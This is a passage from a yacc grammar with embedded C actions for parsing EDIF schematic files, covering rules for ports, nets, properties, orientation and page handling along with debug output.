UserData ; Intersection : INTERSECTION _Intersection PopC ; _Intersection : FigGrpRef | FigureOp | _Intersection FigGrpRef | _Intersection FigureOp ; IntraFigGrp : INTRAFIGUREGROUPSPACING RuleNameDef FigGrpObj _IntraFigGrp PopC ; _IntraFigGrp : Range | SingleValSet | _IntraFigGrp Comment | _IntraFigGrp UserData ; Inverse : INVERSE _Inverse PopC ; _Inverse : FigGrpRef | FigureOp ; Isolated : ISOLATED PopC ; Joined : JOINED _Joined PopC {$$=$2;} ; _Joined : {$$=NULL;} | _Joined PortRef { if(bug>4)fprintf(Error,"%5d _Joined PortRef: '%s'\n", LineNumber, $2->s);} | _Joined PortList | _Joined GlobPortRef ; Justify : JUSTIFY _Justify PopC {$$ = (struct st *)Malloc(sizeof(struct st)); $$->s=$2->s; // fwb $$->nxt=NULL; } ; _Justify : CENTERCENTER {s="CC";} | CENTERLEFT {s="CL";} | CENTERRIGHT {s="CR";} | LOWERCENTER {s="LC";} | LOWERLEFT {s="LL";} | LOWERRIGHT {s="LR";} | UPPERCENTER {s="UC";} | UPPERLEFT {s="UL"; ox=0; oy= TextSize/2; } | UPPERRIGHT {s="UR";} ; KeywordDisp : KEYWORDDISPLAY _KeywordDisp PopC {$$=$2; if(bug>2 && $2->nxt != NULL )fprintf(Error,"%5d KEYWDISP: %s %s %d %d\n", LineNumber, $2->s, $2->nxt->s, $2->p->x, $2->p->y); if(bug>2 && $2->nxt == NULL )fprintf(Error,"%5d KEYWDISP: %s '' %d %d\n", LineNumber, $2->s, $2->p->x, $2->p->y); if(!strcmp($2->s, "DESIGNATOR")){ LibEntry->PrefixPosX=$2->p->x; LibEntry->PrefixPosY=$2->p->y; } } ; KeywordName : Ident {if(bug>4)fprintf(Error," KeywNam: %s\n",$1->s); } ; _KeywordDisp : KeywordName | _KeywordDisp Display {$$=$1; $$->p=$2->p; $$->nxt=$2;} ; KeywordLevel : KEYWORDLEVEL Int PopC ; KeywordMap : KEYWORDMAP _KeywordMap PopC ; _KeywordMap : KeywordLevel | _KeywordMap Comment ; LayerNameDef : NameDef ; LessThan : LESSTHAN ScaledInt PopC ; LibNameDef : NameDef {if(bug>1)fprintf(Error,"Library: %s\n", $1->s); convert=1; // normal view CurrentLib = (LibraryStruct *) Malloc(sizeof(LibraryStruct)); CurrentLib->Name = strdup($1->s); CurrentLib->isSheet = 0; CurrentLib->Entries = NULL; CurrentLib->NumOfParts=0; CurrentLib->nxt = Libs; Libs=CurrentLib; } ; Library : LIBRARY LibNameDef EdifLevel _Library PopC {if(bug>1)fprintf(Error,"EndLibrary %s \n\n", $2->s); if( SchHead == 1 && strcmp(fName,"") ){ if(bug>1)fprintf(Error,"EndLibrary fName '%s' \n", fName); CloseSch(); SchHead=0; } New=NULL; } ; _Library : Technology | _Library Status | _Library Cell | _Library Comment | _Library UserData ; ListOfNets : LISTOFNETS _ListOfNets PopC ; _ListOfNets : | _ListOfNets Net ; ListOfPorts : LISTOFPORTS _ListOfPorts PopC ; _ListOfPorts : | _ListOfPorts Port | _ListOfPorts PortBundle ; LoadDelay : LOADDELAY _LoadDelay _LoadDelay PopC ; _LoadDelay : MiNoMaValue | MiNoMaDisp ; LogicAssn : LOGICASSIGN ___LogicAssn __LogicAssn _LogicAssn PopC ; ___LogicAssn : PortNameRef | PortRef ; __LogicAssn : PortRef | LogicRef | Table ; _LogicAssn : | Delay | LoadDelay ; LogicIn : LOGICINPUT _LogicIn PopC ; _LogicIn : PortList | PortRef | PortNameRef | _LogicIn LogicWave ; LogicList : LOGICLIST _LogicList PopC ; _LogicList : | _LogicList LogicNameRef | _LogicList LogicOneOf | _LogicList Ignore ; LogicMapIn : LOGICMAPINPUT _LogicMapIn PopC ; _LogicMapIn : | _LogicMapIn LogicNameRef ; LogicMapOut : LOGICMAPOUTPUT _LogicMapOut PopC ; _LogicMapOut : | _LogicMapOut LogicNameRef ; LogicNameDef : NameDef ; LogicNameRef : NameRef ; LogicOneOf : LOGICONEOF _LogicOneOf PopC ; _LogicOneOf : | _LogicOneOf LogicNameRef | _LogicOneOf LogicList ; LogicOut : LOGICOUTPUT _LogicOut PopC ; _LogicOut : PortList | PortRef | PortNameRef | _LogicOut LogicWave ; LogicPort : LOGICPORT _LogicPort PopC ; _LogicPort : PortNameDef | _LogicPort Property | _LogicPort Comment | _LogicPort UserData ; LogicRef : LOGICREF LogicNameRef _LogicRef PopC ; _LogicRef : | LibraryRef ; LogicValue : LOGICVALUE _LogicValue PopC ; _LogicValue : LogicNameDef | _LogicValue VoltageMap | _LogicValue CurrentMap | _LogicValue BooleanMap | _LogicValue Compound | _LogicValue Weak | _LogicValue Strong | _LogicValue Dominates | _LogicValue LogicMapOut | _LogicValue LogicMapIn | _LogicValue Isolated | _LogicValue Resolves | _LogicValue Property | _LogicValue Comment | _LogicValue UserData ; LogicWave : LOGICWAVEFORM _LogicWave PopC ; _LogicWave : | _LogicWave LogicNameRef | _LogicWave LogicList | _LogicWave LogicOneOf | _LogicWave Ignore ; Maintain : MAINTAIN __Maintain _Maintain PopC ; __Maintain : PortNameRef | PortRef ; _Maintain : | Delay | LoadDelay ; Match : MATCH __Match _Match PopC ; __Match : PortNameRef | PortRef | PortList ; _Match : LogicNameRef | LogicList | LogicOneOf ; Member : MEMBER NameRef _Member PopC {$$=$2; if(bug>4)fprintf(Error," Member %s\n", $2->s);} ; _Member : Int | _Member Int ; MiNoMa : MINOMAX _MiNoMa PopC {$$=$2;} ; _MiNoMa : {$$=NULL;} | _MiNoMa MiNoMaValue | _MiNoMa MiNoMaDisp | _MiNoMa MiNoMa ; MiNoMaDisp : MINOMAXDISPLAY _MiNoMaDisp PopC ; _MiNoMaDisp : MiNoMaValue | _MiNoMaDisp Display ; MiNoMaValue : Mnm | ScaledInt ; Mnm : MNM _Mnm _Mnm _Mnm PopC ; _Mnm : ScaledInt | Undefined | Unconstrained ; MultValSet : MULTIPLEVALUESET _MultValSet PopC ; _MultValSet : | _MultValSet RangeVector ; MustJoin : MUSTJOIN _MustJoin PopC ; _MustJoin : | _MustJoin PortRef | _MustJoin PortList | _MustJoin WeakJoined | _MustJoin Joined ; NameDef : Ident | Name | Rename ; NameRef : Ident | Name ; NetNameDef : NameDef { if(bug>2){ fprintf(Error,"%5d NetNameDef: '%s' ", LineNumber, $1->s); if($1->nxt !=NULL)fprintf(Error,"'%s' ", $1->nxt->s); fprintf(Error,"\n"); } if($1->nxt == NULL) cur_nnam = $1->s; else cur_nnam = $1->nxt->s; } | Array ; Net : NET NetNameDef _Net PopC {$$=$2;} ; _Net : Joined | _Net Criticality | _Net NetDelay | _Net Figure | _Net Net | _Net Instance { if(bug>2){ fprintf(Error,"%5d _Net Instance:'%s' ", LineNumber, $2->s); fprintf(Error,"\n"); } } | _Net CommGraph | _Net Property | _Net Comment | _Net UserData ; NetBackAn : NETBACKANNOTATE _NetBackAn PopC ; _NetBackAn : NetRef | _NetBackAn NetDelay | _NetBackAn Criticality | _NetBackAn Property | _NetBackAn Comment ; NetBundle : NETBUNDLE NetNameDef _NetBundle PopC ; _NetBundle : ListOfNets | _NetBundle Figure | _NetBundle CommGraph | _NetBundle Property | _NetBundle Comment | _NetBundle UserData ; NetDelay : NETDELAY Derivation _NetDelay PopC ; _NetDelay : Delay | _NetDelay Transition | _NetDelay Becomes ; NetGroup : NETGROUP _NetGroup PopC ; _NetGroup : | _NetGroup NetNameRef | _NetGroup NetRef ; NetMap : NETMAP _NetMap PopC ; _NetMap : | _NetMap NetRef | _NetMap NetGroup | _NetMap Comment | _NetMap UserData ; NetNameRef : NameRef {if(bug>2)fprintf(Error," NetNameRef: %s\n", $1->s);} | Member ; NetRef : NETREF NetNameRef _NetRef PopC ; _NetRef : | NetRef | InstanceRef | ViewRef ; NoChange : NOCHANGE PopC ; NonPermut : NONPERMUTABLE _NonPermut PopC ; _NonPermut : | _NonPermut PortRef | _NonPermut Permutable ; NotAllowed : NOTALLOWED RuleNameDef _NotAllowed PopC ; _NotAllowed : FigGrpObj | _NotAllowed Comment | _NotAllowed UserData ; NotchSpace : NOTCHSPACING RuleNameDef FigGrpObj _NotchSpace PopC ; _NotchSpace : Range | SingleValSet | _NotchSpace Comment | _NotchSpace UserData ; Number : NUMBER _Number PopC {$$=$2;} ; _Number : {$$=NULL;} | _Number ScaledInt | _Number NumbDisplay | _Number Number ; NumbDisplay : NUMBERDISPLAY _NumbDisplay PopC ; _NumbDisplay : ScaledInt | _NumbDisplay Display ; NumberDefn : NUMBERDEFINITION _NumberDefn PopC ; _NumberDefn : | _NumberDefn Scale | _NumberDefn GridMap | _NumberDefn Comment ; OffPageConn : OFFPAGECONNECTOR _OffPageConn PopC ; _OffPageConn : PortNameDef | _OffPageConn Unused | _OffPageConn Property | _OffPageConn Comment | _OffPageConn UserData ; OffsetEvent : OFFSETEVENT Event ScaledInt PopC ; OpenShape : OPENSHAPE _OpenShape PopC ; _OpenShape : Curve | _OpenShape Property ; Orientation : ORIENTATION _Orientation PopC {$$=$2; if(bug>3)fprintf(Error," Orient %c\n",$2); cur_Orient = $2; } ; _Orientation : R0 {$$=PIN_RIGHT; Rot[0][0] = 1; Rot[0][1] = 0; Rot[1][0] = 0; Rot[1][1] = -1; // normal } | R90 {$$=PIN_UP; Rot[0][0] = 0; Rot[0][1] = -1; Rot[1][0] = -1; Rot[1][1] = 0; } | R180 {$$=PIN_LEFT; Rot[0][0] = -1; Rot[0][1] = 0; Rot[1][0] = 0; Rot[1][1] = 1; } | R270 {$$=PIN_DOWN; Rot[0][0] = 0; Rot[0][1] = 1; Rot[1][0] = 1; Rot[1][1] = 0; } | MX {$$=PIN_RIGHT; Rot[0][0] = 1; Rot[0][1] = 0; Rot[1][0] = 0; Rot[1][1] = 1; } | MY {$$=PIN_RIGHT; int TempR, TempMat[2][2]; Rot[0][0] = -1; Rot[0][1] = 0; Rot[1][0] = 0; Rot[1][1] = -1; #ifdef SAYWHAT TempMat[0][0] = -1; TempMat[1][1] = 1; TempMat[0][1] = TempMat[1][0] = 0; TempR = Rot[0][0] * TempMat[0][0] + Rot[0][1] * TempMat[1][0]; Rot[0][1] = Rot[0][0] * TempMat[0][1] + Rot[0][1] * TempMat[1][1]; Rot[0][0] = TempR; TempR = Rot[1][0] * TempMat[0][0] + Rot[1][1] * TempMat[1][0]; Rot[1][1] = Rot[1][0] * TempMat[0][1] + Rot[1][1] * TempMat[1][1]; Rot[1][0] = TempR; #endif } | MYR90 { $$=PIN_RIGHT; Rot[0][0] = 0; Rot[0][1] = -1; Rot[1][0] = 1; Rot[1][1] = 0; } | MXR90 { $$=PIN_RIGHT; Rot[0][0] = 0; Rot[0][1] = 1; Rot[1][0] = -1; Rot[1][1] = 0; } ; Origin : ORIGIN PointValue PopC {$$=$2; if(bug>6)fprintf(Error,"ORGIN: %d %d\n", $2->x, $2->y); } ; OverhngDist : OVERHANGDISTANCE RuleNameDef FigGrpObj FigGrpObj _OverhngDist PopC ; _OverhngDist : Range | SingleValSet | _OverhngDist Comment | _OverhngDist UserData ; OverlapDist : OVERLAPDISTANCE RuleNameDef FigGrpObj FigGrpObj _OverlapDist PopC ; _OverlapDist : Range | SingleValSet | _OverlapDist Comment | _OverlapDist UserData ; Oversize : OVERSIZE Int _Oversize CornerType PopC ; _Oversize : FigGrpRef | FigureOp ; Owner : OWNER Str PopC {$$=$2;} ; Page : PAGE _Page PopC {$$=$2; } ; _Page : InstNameDef {if(bug>1)fprintf(Error,"\n_Page: InstNameDef? '%s'\n", $1->s); strncpy(fName, $1->s, SCH_NAME_LEN); if(bug>1)fprintf(Error,"SchHead INSTANCE fName: '%s' \n", fName); OpenSch(); SchHead=0 ; // fName is Open CurrentLib = (LibraryStruct *) Malloc(sizeof(LibraryStruct)); CurrentLib->Name = strdup($1->s); CurrentLib->isSheet = 1; CurrentLib->Entries = NULL; CurrentLib->NumOfParts=0; CurrentLib->nxt = Libs; Libs=CurrentLib; pptr = (struct pwr *) Malloc(sizeof(struct pwr)); pptr->s = $1->s; pptr->r = NULL; pptr->nxt = pgs; pgs = pptr; nPages++; } | _Page Instance | _Page Net | _Page NetBundle | _Page CommGraph | _Page PortImpl | _Page PageSize | _Page BoundBox | _Page Comment | _Page UserData ; PageSize : PAGESIZE Rectangle PopC {$$=$2; if(bug>1)fprintf(Error," PAGESIZE \n"); } ; ParamDisp : PARAMETERDISPLAY _ParamDisp PopC ; _ParamDisp : ValueNameRef | _ParamDisp Display ; Parameter : PARAMETER ValueNameDef TypedValue _Parameter PopC ; _Parameter : | Unit ; ParamAssign : PARAMETERASSIGN ValueNameRef TypedValue PopC ; Path : PATH _Path PopC {$$=$2; for( pl=$2 ; pl->nxt != NULL ; pl=pl->nxt ){ if(bug>1)fprintf(Error," PATH OutWire %d %d %d %d\n", pl->x, -pl->y, pl->nxt->x, -pl->nxt->y); OutWire(pl->x, -pl->y, pl->nxt->x, -pl->nxt->y); } } ; _Path : PointList { if(bug>4) { fprintf(Error," _Path PointList "); for( pl=$1 ; pl->nxt != NULL ; pl=pl->nxt ) fprintf(Error,"%d %d %d %d", pl->x, -pl->y, pl->nxt->x, -pl->nxt->y); fprintf(Error,"\n"); } } | _Path Property ; PathDelay : PATHDELAY _PathDelay PopC ; _PathDelay : Delay | _PathDelay Event ; PathWidth : PATHWIDTH Int PopC {$$=$2;} ; Permutable : PERMUTABLE _Permutable PopC ; _Permutable : | _Permutable PortRef | _Permutable Permutable | _Permutable NonPermut ; Plug : PLUG _Plug PopC ; _Plug : | _Plug SocketSet ; Point : POINT _Point PopC {$$=$2;} ; _Point : {$$=NULL;} | _Point PointValue {$$=$2;} | _Point PointDisp | _Point Point ; PointDisp : POINTDISPLAY _PointDisp PopC ; _PointDisp : PointValue | _PointDisp Display ; PointList : POINTLIST _PointList PopC {$$=$2;} ; _PointList : {$$=NULL;} | _PointList PointValue { pl=(struct plst *)Malloc(sizeof(struct plst)); pl->x=$2->x; pl->y=$2->y; pl->nxt=$$; $$ = pl; } ; PointValue : '(' PT Int Int ')' PopC { if(bug>4)fprintf(Error,"PtVal %d %d\n", $3,$4); $$=(struct plst *)Malloc(sizeof(struct plst)); $$->x=$3; $$->y=$4; // fwb $$->nxt=NULL; } | PT Int Int PopC { if(bug>4)fprintf(Error,"PtVal %d %d\n", $2,$3); $$=(struct plst *)Malloc(sizeof(struct plst)); $$->x=$2; $$->y=$3; // fwb $$->nxt=NULL; } ; Polygon : POLYGON _Polygon PopC {$$=$2;} ; _Polygon : PointList | _Polygon Property ; Port : PORT _Port PopC {$$=$2;} ; PortNameDef : NameDef { $$=$1; if(bug>2){ if($1->nxt != NULL) fprintf(Error," PortNameDef:'%s' nxt %s\n", $1->s, $1->nxt->s); else fprintf(Error," PortNameDef:'%s'\n", $1->s); } if(bug>2)fprintf(Error,"New PIN_DRAW_TYPE LibraryDrawEntryStruct\n"); New = (LibraryDrawEntryStruct *) Malloc(sizeof(LibraryDrawEntryStruct)); New->DrawType = PIN_DRAW_TYPE; New->Convert = convert; New->nxt = LibEntry->Drawings; LibEntry->Drawings = New; New->Unit = unit; New->U.Pin.Len = 300; New->U.Pin.PinShape = NONE; // NONE, DOT, CLOCK, SHORT New->U.Pin.PinType = PIN_UNSPECIFIED; New->U.Pin.Orient = 0; New->U.Pin.Flags = 0; // Pin Visible no port property in OrCad Ver 10 New->U.Pin.SizeNum = TextSize; New->U.Pin.SizeName = TextSize; // New->U.Pin.Num[0]='0'; New->U.Pin.Num[4]=0; if($1->nxt != NULL){ New->U.Pin.ReName = $1->nxt->s; strncpy(New->U.Pin.Num, $1->nxt->s, 4); // default pin# }else{ New->U.Pin.ReName = NULL; strncpy(New->U.Pin.Num, $1->s, 4); // default pin# } New->U.Pin.Name = strdup($1->s); if(bug>2)fprintf(Error," _Port PortNameDef '%s':'%s'\n", New->U.Pin.Name, New->U.Pin.Num); } | Array ; _Port : PortNameDef | _Port Direction | _Port Unused | _Port PortDelay | _Port Designator { $$=$2; if(bug>2)fprintf(Error," _Port Designator Pin# '%s'\n", $2->s); // memset(New->U.Pin.Num, 0, 5); New->U.Pin.Num[0]='0'; if(!strcmp($2->s, "") ){ LibEntry->DrawPrefix=0; }else strncpy(New->U.Pin.Num, $2->s, 4); } | _Port DcFanInLoad | _Port DcFanOutLoad | _Port DcMaxFanIn | _Port DcMaxFanOut | _Port AcLoad | _Port Property { $$=$2; if(bug>2)fprintf(Error," _Port Prop '%s'='%s' '%s'->'%s' PShape %x\n", $2->s, $2->nxt->s, New->U.Pin.Name, New->U.Pin.ReName, New->U.Pin.PinShape); if( !strcmp($2->s, "PORTTYPE") && !strcmp($2->nxt->s, "supply") ){ if(bug>4)fprintf(Error," '%s':'%s'\n", New->U.Pin.Name, New->U.Pin.ReName); New->U.Pin.PinType = PIN_POWER; for( stp=pwrSym ; stp !=NULL ; stp=stp->nxt) { if( !strcmp(New->U.Pin.Name, stp->s)){ if(bug>2)fprintf(Error," Check Power '%s' '%s' \n", New->U.Pin.Name, stp->s); break; } } if( stp==NULL ){ stp = (struct pwr *) Malloc(sizeof(struct pwr)); if(stp == NULL) return; stp->s = New->U.Pin.Name; stp->r = New->U.Pin.ReName; stp->nxt = pwrSym; pwrSym = stp; } } if( !strcmp($2->s, "CLOCK") && !strcmp($2->nxt->s, "True") ) New->U.Pin.PinShape |= CLOCK; if( !strcmp($2->s, "DOT") && !strcmp($2->nxt->s, "True") ) New->U.Pin.PinShape |= INVERT; if( !strcmp($2->s, "LONG") && !strcmp($2->nxt->s, "False") ) New->U.Pin.Len = 100; New->U.Pin.Flags = 0; // set Visible if( !strcmp($2->s, "PIN_32_NUMBER_32_IS_32_VISIBLE") ){ New->U.Pin.Flags = !strcmp($2->nxt->s, "False") ; } } | _Port Comment | _Port UserData ; PortBackAn : PORTBACKANNOTATE _PortBackAn PopC ; _PortBackAn : PortRef | _PortBackAn Designator | _PortBackAn PortDelay | _PortBackAn DcFanInLoad | _PortBackAn DcFanOutLoad | _PortBackAn DcMaxFanIn | _PortBackAn DcMaxFanOut | _PortBackAn AcLoad | _PortBackAn Property | _PortBackAn Comment ; PortBundle : PORTBUNDLE PortNameDef _PortBundle PopC ; _PortBundle : ListOfPorts | _PortBundle Property | _PortBundle Comment | _PortBundle UserData ; PortDelay : PORTDELAY Derivation _PortDelay PopC ; _PortDelay : Delay | LoadDelay | _PortDelay Transition | _PortDelay Becomes ; PortGroup : PORTGROUP _PortGroup PopC ; _PortGroup : | _PortGroup PortNameRef | _PortGroup PortRef ; PortImpl : PORTIMPLEMENTATION _PortImpl PopC { $$=$2; if(bug>2) { fprintf(Error,"%05d PORTIMPLEMENTATION: _PortImpl '%s' cur_pnam:'%s' %1d ", LineNumber, $2->s, cur_pnam, unit); fprintf(Error," \n"); } doPin(); } ; _PortImpl : Name { $$=$1; if(bug>2){ fprintf(Error," _PortImpl Name '%s' ", $1->s); if($1->nxt->s != NULL)fprintf(Error,"'%s' ", $1->nxt->s); if($1->p != NULL)fprintf(Error,"(%d,%d)", $1->p->x, $1->p->y); fprintf(Error,"\n"); } if( !strcmp($1->nxt->s, "POWER") ){ val->s=$1->s; } cur_pnam=$1->s; } | Ident { $$=$1; if(bug>2)fprintf(Error," _PortImpl Ident '%s'\n", $1->s); cur_pnam = $1->s; } | _PortImpl Figure { $$=$2; pl=$2->p; } | _PortImpl ConnectLoc { $$=$2; if(bug>2)fprintf(Error," _PortImpl ConnLoc: cellRef '%s' cur_pnam '%s' (%d,%d)\n", cellRef, cur_pnam, $2->p->x, $2->p->y ); px = $2->p->x; py = $2->p->y; val = $2; } | _PortImpl Instance { $$=$2; if(bug>2)fprintf(Error," _PortImpl Instance %s\n",$2->s);} | _PortImpl CommGraph { $$=$2; if(bug>2)fprintf(Error," _PortImpl CommGraph \n");} | _PortImpl PropDisp { $$=$2; if(bug>2)fprintf(Error," _PortImpl PropDisp '%s' %d %d\n", $2->s, $2->p->x, $2->p->y);} | _PortImpl KeywordDisp { $$=$2; if(bug>2)fprintf(Error," _PortImpl KeywDisp '%s' %d %d\n", $2->s, $2->p->x, $2->p->y);} | _PortImpl Property { $$=$2; if(bug>2)fprintf(Error," _PortImpl Property '%s' \n", $2->s);} | _PortImpl UserData | _PortImpl Comment ; PortInst : PORTINSTANCE _PortInst PopC ; _PortInst : PortRef | PortNameRef | _PortInst Unused | _PortInst PortDelay | _PortInst Designator | _PortInst DcFanInLoad | _PortInst DcFanOutLoad | _PortInst DcMaxFanIn | _PortInst DcMaxFanOut | _PortInst AcLoad | _PortInst Property | _PortInst Comment | _PortInst UserData ; PortList : PORTLIST _PortList PopC ; _PortList : | _PortList PortRef | _PortList PortNameRef ; PortListAls : PORTLISTALIAS PortNameDef PortList PopC ; PortMap : PORTMAP _PortMap PopC ; _PortMap : | _PortMap PortRef | _PortMap PortGroup | _PortMap Comment | _PortMap UserData ; PortNameRef : NameRef | Member ; PortRef : PORTREF PortNameRef _PortRef PopC {$$=$2; // $$->nxt=$3; if(bug>3){ fprintf(Error," PORTREF:'%s' ", $2->s); if($2->nxt != NULL)fprintf(Error,"rename:'%s' ", $2->nxt->s); if($3 != NULL)fprintf(Error,"InstRef:'%s' ", $3->s); fprintf(Error,"\n"); } if(cptr != NULL && $3 != NULL) cptr->pin = $2->s; } ; _PortRef : {$$=NULL;} | PortRef | InstanceRef {$$=$1; if(bug>3)fprintf(Error,"new cptr, InstRef: %8s curr_nnam '%s'\n", $1->s, cur_nnam); cptr = (struct con *) Malloc (sizeof (struct con)); cptr->ref = $1->s; cptr->nnam = cur_nnam; cptr->nxt = cons; cons = cptr; } | ViewRef ; Program : PROGRAM Str _Program PopC ; _Program : | Version ; PropDisp : PROPERTYDISPLAY _PropDisp PopC {$$=$2; if(bug>2 && $2->nxt->s != NULL)fprintf(Error,"%5d PropDisp: %s %s %d %d\n", LineNumber, $2->s, $2->nxt->s, $2->p->x, $2->p->y); if(bug>2 && $2->nxt->s == NULL)fprintf(Error,"%5d PropDisp: %s '' %d %d\n", LineNumber, $2->s, $2->p->x, $2->p->y); if(!strcmp($2->s, "VALUE")){ LibEntry->NamePosX=$2->p->x; LibEntry->NamePosY=$2->p->y; } } ; PropNameRef : NameRef {if(bug>4)fprintf(Error," PropNameRef: %s ", $1->s); } ; _PropDisp : PropNameRef | _PropDisp Display {$$=$1; $$->p=$2->p; $$->nxt=$2;} ; PropNameDef : NameDef {if(bug>3)fprintf(Error," PropNameDef: %s\n", $1->s); } ; Property : PROPERTY PropNameDef _Property PopC {$$=$2; $$->nxt=$3; if(bug>3 && InCell)fprintf(Error," Cell "); if(bug>3 && $3 != NULL)fprintf(Error," PROPERTY: '%s'='%s'\n", $2->s, $3->s); if(bug>3 && $3 == NULL)fprintf(Error," PROPERTYA: '%s' 'NULL'\n", $2->s); if( $3 != NULL ){ if( !strcmp($2->s, "PIN_32_NAMES_32_VISIBLE") && !strcmp($3->s, "False") ){ LibEntry->DrawPinName = 0; } if( !strcmp($2->s, "PIN_32_NUMBERS_32_VISIBLE") ){ LibEntry->DrawPinNum = !strcmp($3->s, "False"); } if( !strcmp($2->s, "EDIFHOTSPOT") ){ sscanf($3->s,"(pt_%d_%d", &x, &y); if(bug>3)fprintf(Error," Property %s '%s' '%s' %d %d\n", LibEntry->Name, $2->s, $3->s, x,y); LibEntry->PrefixPosX=x; LibEntry->PrefixPosY=y; if(bug>3)fprintf(Error," New PIN_POWER LibraryDrawEntryStruct (%d,%d)\n",x,y); New = (LibraryDrawEntryStruct *) Malloc(sizeof(LibraryDrawEntryStruct)); New->DrawType = PIN_DRAW_TYPE; New->Convert = convert; New->nxt = LibEntry->Drawings; LibEntry->Drawings = New; New->Unit = unit; New->U.Pin.posX = x; New->U.Pin.posY = y; New->U.Pin.Len = 0; New->U.Pin.PinShape = NONE; // NONE, DOT, CLOCK, SHORT New->U.Pin.PinType = PIN_POWER; New->U.Pin.Orient = PIN_UP; New->U.Pin.Flags = 0; /* Pin Visible */ New->U.Pin.SizeNum = TextSize; New->U.Pin.SizeName = TextSize; New->U.Pin.ReName = NULL; New->U.Pin.Name = LibEntry->Name; strcpy(New->U.Pin.Num, "99"); } } } ; _Property : TypedValue | _Property Owner | _Property Unit | _Property Property | _Property Comment ; ProtectFrame : PROTECTIONFRAME _ProtectFrame PopC ; _ProtectFrame : | _ProtectFrame PortImpl | _ProtectFrame Figure | _ProtectFrame Instance | _ProtectFrame CommGraph | _ProtectFrame BoundBox | _ProtectFrame PropDisp | _ProtectFrame KeywordDisp | _ProtectFrame ParamDisp | _ProtectFrame Property | _ProtectFrame Comment | _ProtectFrame UserData ; Range : LessThan | GreaterThan | AtMost | AtLeast | Exactly | Between ; RangeVector : RANGEVECTOR _RangeVector PopC ; _RangeVector : | _RangeVector Range | _RangeVector SingleValSet ; Rectangle : RECTANGLE PointValue _Rectangle PopC { if(bug>4)fprintf(Error," RECTANGLE [%d %d][%d %d]\n", $2->x, $2->y, $3->x, $3->y); $$=$2; $$->nxt=$3; } ; _Rectangle : PointValue | _Rectangle Property ; RectSize : RECTANGLESIZE RuleNameDef FigGrpObj _RectSize PopC ; _RectSize : RangeVector | MultValSet | _RectSize Comment | _RectSize UserData ; Rename : RENAME __Rename _Rename PopC {$$=$2; $$->nxt = $3; if(bug>4)fprintf(Error," ReName:'%s'-'%s'\n", $2->s, $3->s); } ; __Rename : Ident | Name ; _Rename : Str | StrDisplay ; Resolves : RESOLVES _Resolves PopC ; _Resolves : | _Resolves LogicNameRef ; RuleNameDef : NameDef ; ScaledInt : Int {$$=(float)$1;} | E Int Int PopC {sprintf(refdesg,"%de%d", $2, $3); sscanf(refdesg,"%f", &$$); if(bug>2)fprintf(Error, "E Int Int refdesg '%s'\n", refdesg); } ; Scale : SCALE ScaledInt ScaledInt Unit PopC { scale = 100000.0 * $3 / (2.54 * $2); if(bug>4)fprintf(stderr, "SCALE %f %g %f\n", $2, $3, scale); // scale =1.0; } ; ScaleX : SCALEX Int Int PopC ; ScaleY : SCALEY Int Int PopC ; Section : SECTION _Section PopC ; _Section : Str | _Section Section | _Section Str | _Section Instance ; Shape : SHAPE _Shape PopC ; _Shape : Curve | _Shape Property ; SimNameDef : NameDef ; Simulate : SIMULATE _Simulate PopC ; _Simulate : SimNameDef | _Simulate PortListAls | _Simulate WaveValue | _Simulate Apply | _Simulate Comment | _Simulate UserData ; SimulInfo : SIMULATIONINFO _SimulInfo PopC ; _SimulInfo : | _SimulInfo LogicValue | _SimulInfo Comment | _SimulInfo UserData ; SingleValSet : SINGLEVALUESET _SingleValSet PopC ; _SingleValSet : | Range ; Site : SITE ViewRef _Site PopC ; _Site : | Transform ; Socket : SOCKET _Socket PopC ; _Socket : | Symmetry ; SocketSet : SOCKETSET _SocketSet PopC ; _SocketSet : Symmetry | _SocketSet Site ; Status : STATUS _Status PopC ; _Status : | _Status Written | _Status Comment | _Status UserData ; Steady : STEADY __Steady _Steady PopC ; __Steady : PortNameRef | PortRef | PortList ; _Steady : Duration | _Steady Transition | _Steady Becomes ; StrDisplay : STRINGDISPLAY _StrDisplay PopC { $$=$2; if(bug>2){ fprintf(Error," STRINGDISPLAY _StrDisplay '%s' ",$$->s); if($$->p)fprintf(Error,"(%d,%d) ",$$->p->x, $$->p->y); fprintf(Error,"\n"); } for( pfg=pfgHead ; pfg != NULL ; pfg=pfg->nxt ) { if( !strcmp($2->s, pfg->Name)) break; if(bug>3)fprintf(Error," Searching '%s' %d\n", pfg->Name, pfg->TextHeight); } if( pfg != NULL ){ TextSize = pfg->TextHeight ; if(bug>4)fprintf(Error," Property Found '%s' %d\n", pfg->Name, pfg->TextHeight); }else TextSize=SIZE_PIN_TEXT; ox=oy=0; } ; _StrDisplay : STR { $$=$1;$$->nxt=NULL; net=$$; if(bug>2)fprintf(Error," _StrDisplay STR: '%s' \n",$1->s); } | _StrDisplay Display {$$ = (struct st *)Malloc(sizeof(struct st)); $$->s=$1->s; $$->nxt=$1; net=$$; if($2->p != NULL){ $$->p=$1->p; $1->p=$2->p; if(bug>2) fprintf(Error,"%5d _StrDisplay Disp: '%s' '%s' %d %d ts=%d\n", LineNumber, $1->s, $2->s, $2->p->x, $2->p->y, TextSize ); if( !strcmp($2->s, "PARTREFERENCE")) {ref->s=$1->s; ref->p=$2->p;} if( !strcmp($2->s, "PARTVALUE")) {val->s=$1->s; val->p=$2->p;} OutText(2, $1->s, $2->p->x +ox, -$2->p->y +oy, TextSize); }else{ if(bug>3) fprintf(Error,"%5d _StrDisplay Disp: '%s' NULL NULL ts=%d\n", LineNumber, $1->s, TextSize ); } } ; String : STRING _String PopC { $$=$2; if(bug>4 && $2->s != NULL)fprintf(Error,"%5d STRING: '%s'\n", LineNumber, $2->s); } ; _String : { $$=NULL;} | _String Str { $$=$2; if(bug>4)fprintf(Error," _String Str: %s \n",$2->s); } | _String StrDisplay { $$=$2; if(bug>4)fprintf(Error," _String StrDisp: %s \n",$2->s); } | _String String { $$=$2; if(bug>4)fprintf(Error," _String String: %s \n",$2->s); } ; Strong : STRONG LogicNameRef PopC ; Symbol : SYMBOL _Symbol PopC {$$=$2;} ; _Symbol : {$$=NULL;} | _Symbol PortImpl { $$=$2; if(bug>4)fprintf(Error," _Sym PortImpl '%s'\n", $2->s); } | _Symbol Figure { $$=$2; if(bug>4)fprintf(Error," _Sym Figure '%s'\n", $2->s); } | _Symbol Instance { $$=$2; if(bug>4)fprintf(Error," _Sym Instance '%s'\n", $2->s); } | _Symbol CommGraph | _Symbol Annotate { $$=$2; if(bug>4)fprintf(Error," _Sym Annotate '%s'\n", $2->s); } | _Symbol PageSize | _Symbol BoundBox | _Symbol PropDisp { $$=$2; if(bug>4)fprintf(Error," _Sym PropD '%s'\n", $2->s); } | _Symbol KeywordDisp { $$=$2; 